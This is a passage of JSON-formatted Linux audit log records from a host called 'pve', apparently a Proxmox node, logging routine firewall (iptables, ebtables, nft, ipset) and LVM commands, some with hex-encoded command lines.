a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964185330,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.330:59955): proctitle=\"iptables-save\""} {"@timestamp":1781964874698,"@rawstring":"node=pve type=EXECVE msg=audit(1781964874.698:62989): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964185327,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.327:59954): proctitle=\"ebtables-restore\""} {"@timestamp":1781964870956,"@rawstring":"node=pve type=EXECVE msg=audit(1781964870.956:62988): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964185325,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.325:59953): proctitle=\"ebtables-restore\""} {"@timestamp":1781964870946,"@rawstring":"node=pve type=EXECVE msg=audit(1781964870.946:62985): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964185319,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.319:59952): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964865936,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.936:62982): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964185314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.314:59951): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964865929,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.929:62979): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964185309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.309:59950): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964865748,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.748:62976): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964185302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.302:59949): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964865745,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.745:62975): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964185297,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.297:59948): proctitle=697073657400726573746F7265"} {"@timestamp":1781964865744,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.744:62974): argc=1 a0=\"date\""} {"@timestamp":1781964185290,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.290:59947): proctitle=\"ip6tables-save\""} {"@timestamp":1781964865740,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.740:62972): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964185284,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.284:59946): proctitle=\"iptables-save\""} {"@timestamp":1781964865733,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.733:62971): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964185280,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.280:59945): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964865727,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.727:62970): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964185277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.277:59944): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964865721,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.721:62969): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964185276,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.276:59943): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964865715,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.715:62968): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964185276,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.276:59942): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964865710,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.710:62966): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964185272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.272:59941): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964865705,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.705:62965): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964185264,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.264:59940): proctitle=\"ip6tables-save\""} {"@timestamp":1781964865700,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.700:62964): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964185258,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.258:59939): proctitle=\"iptables-save\""} {"@timestamp":1781964865696,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.696:62963): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964185253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.253:59938): proctitle=69707365740073617665"} {"@timestamp":1781964865691,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.691:62962): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964185246,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.246:59937): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964865686,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.686:62961): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964185239,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.239:59936): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964865679,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.679:62960): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964184888,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964184.888:59935): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964865673,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.673:62959): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964184847,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964184.847:59934): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964865670,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.670:62958): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964183219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964183.219:59933): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865666,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.666:62957): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964183219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964183.219:59932): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865665,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.665:62956): argc=1 a0=\"date\""} {"@timestamp":1781964183219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964183.219:59931): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865661,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.661:62954): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964183212,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964183.212:59930): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865654,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.654:62953): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964183212,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964183.212:59929): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865648,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.648:62952): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964183212,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964183.212:59928): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865643,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.643:62951): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964178206,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964178.206:59927): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865638,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.638:62950): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964178206,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964178.206:59926): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865632,"@rawstring":"node=pve type=EXECVE msg=audit(1781964865.632:62949): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964178206,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964178.206:59925): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964864625,"@rawstring":"node=pve type=EXECVE msg=audit(1781964864.625:62948): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964178195,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964178.195:59924): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964864593,"@rawstring":"node=pve type=EXECVE msg=audit(1781964864.593:62947): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964178195,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964178.195:59923): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964860918,"@rawstring":"node=pve type=EXECVE msg=audit(1781964860.918:62946): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964178195,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964178.195:59922): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964860910,"@rawstring":"node=pve type=EXECVE msg=audit(1781964860.910:62943): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964175228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.228:59921): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964855899,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.899:62940): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964175225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.225:59920): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964855890,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.890:62937): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964175224,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.224:59919): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964855622,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.622:62934): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964175224,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.224:59918): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964855619,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.619:62933): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964175219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.219:59917): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964855617,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.617:62932): argc=1 a0=\"date\""} {"@timestamp":1781964175213,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.213:59916): proctitle=\"ip6tables-save\""} {"@timestamp":1781964855614,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.614:62930): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964175207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.207:59915): proctitle=\"iptables-save\""} {"@timestamp":1781964855607,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.607:62929): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964175201,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.201:59914): proctitle=\"ip6tables-save\""} {"@timestamp":1781964855600,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.600:62928): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964175194,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.194:59913): proctitle=\"iptables-save\""} {"@timestamp":1781964855594,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.594:62927): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964175191,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.191:59912): proctitle=\"ebtables-restore\""} {"@timestamp":1781964855588,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.588:62926): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964175188,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.188:59911): proctitle=\"ebtables-restore\""} {"@timestamp":1781964855583,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.583:62924): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964175183,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.183:59910): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964855577,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.577:62923): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964175178,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.178:59909): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964855572,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.572:62922): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964175173,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.173:59908): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964855566,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.566:62921): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964175167,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.167:59907): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964855561,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.561:62920): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964175162,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.162:59906): proctitle=697073657400726573746F7265"} {"@timestamp":1781964855556,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.556:62919): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964175155,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.155:59905): proctitle=\"ip6tables-save\""} {"@timestamp":1781964855550,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.550:62918): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964175148,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.148:59904): proctitle=\"iptables-save\""} {"@timestamp":1781964855544,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.544:62917): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964175145,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.145:59903): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964855540,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.540:62916): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964175142,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.142:59902): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964855537,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.537:62915): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964175140,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.140:59901): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964855536,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.536:62914): argc=1 a0=\"date\""} {"@timestamp":1781964175140,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.140:59900): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964855531,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.531:62912): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964175135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.135:59899): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964855525,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.525:62911): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964175130,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.130:59898): proctitle=\"ip6tables-save\""} {"@timestamp":1781964855517,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.517:62910): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964175124,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.124:59897): proctitle=\"iptables-save\""} {"@timestamp":1781964855513,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.513:62909): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964175118,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.118:59896): proctitle=69707365740073617665"} {"@timestamp":1781964855506,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.506:62908): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964175112,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.112:59895): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964855499,"@rawstring":"node=pve type=EXECVE msg=audit(1781964855.499:62907): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964175105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964175.105:59894): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964854523,"@rawstring":"node=pve type=EXECVE msg=audit(1781964854.523:62906): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964174757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964174.757:59893): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964854494,"@rawstring":"node=pve type=EXECVE msg=audit(1781964854.494:62905): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964174729,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964174.729:59892): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964850883,"@rawstring":"node=pve type=EXECVE msg=audit(1781964850.883:62904): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964173184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964173.184:59891): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964850875,"@rawstring":"node=pve type=EXECVE msg=audit(1781964850.875:62901): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964173184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964173.184:59890): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845867,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.867:62898): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964173184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964173.184:59889): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845856,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.856:62895): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964173176,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964173.176:59888): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845485,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.485:62892): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964173176,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964173.176:59887): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845482,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.482:62891): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964173176,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964173.176:59886): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845481,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.481:62890): argc=1 a0=\"date\""} {"@timestamp":1781966205799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.799:68904): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845478,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.478:62888): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966205799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.799:68903): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845471,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.471:62887): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966205799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.799:68902): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845465,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.465:62886): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966205794,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.794:68901): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845458,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.458:62885): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966205794,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.794:68900): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845452,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.452:62884): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966205794,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.794:68899): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964845447,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.447:62882): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966205782,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.782:68898): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964845443,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.443:62881): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966205779,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.779:68897): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964845438,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.438:62880): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966205778,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966205.778:68896): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964845432,"@rawstring":"node=pve type=EXECVE msg=audit(1781964845.432:62879): argc=4 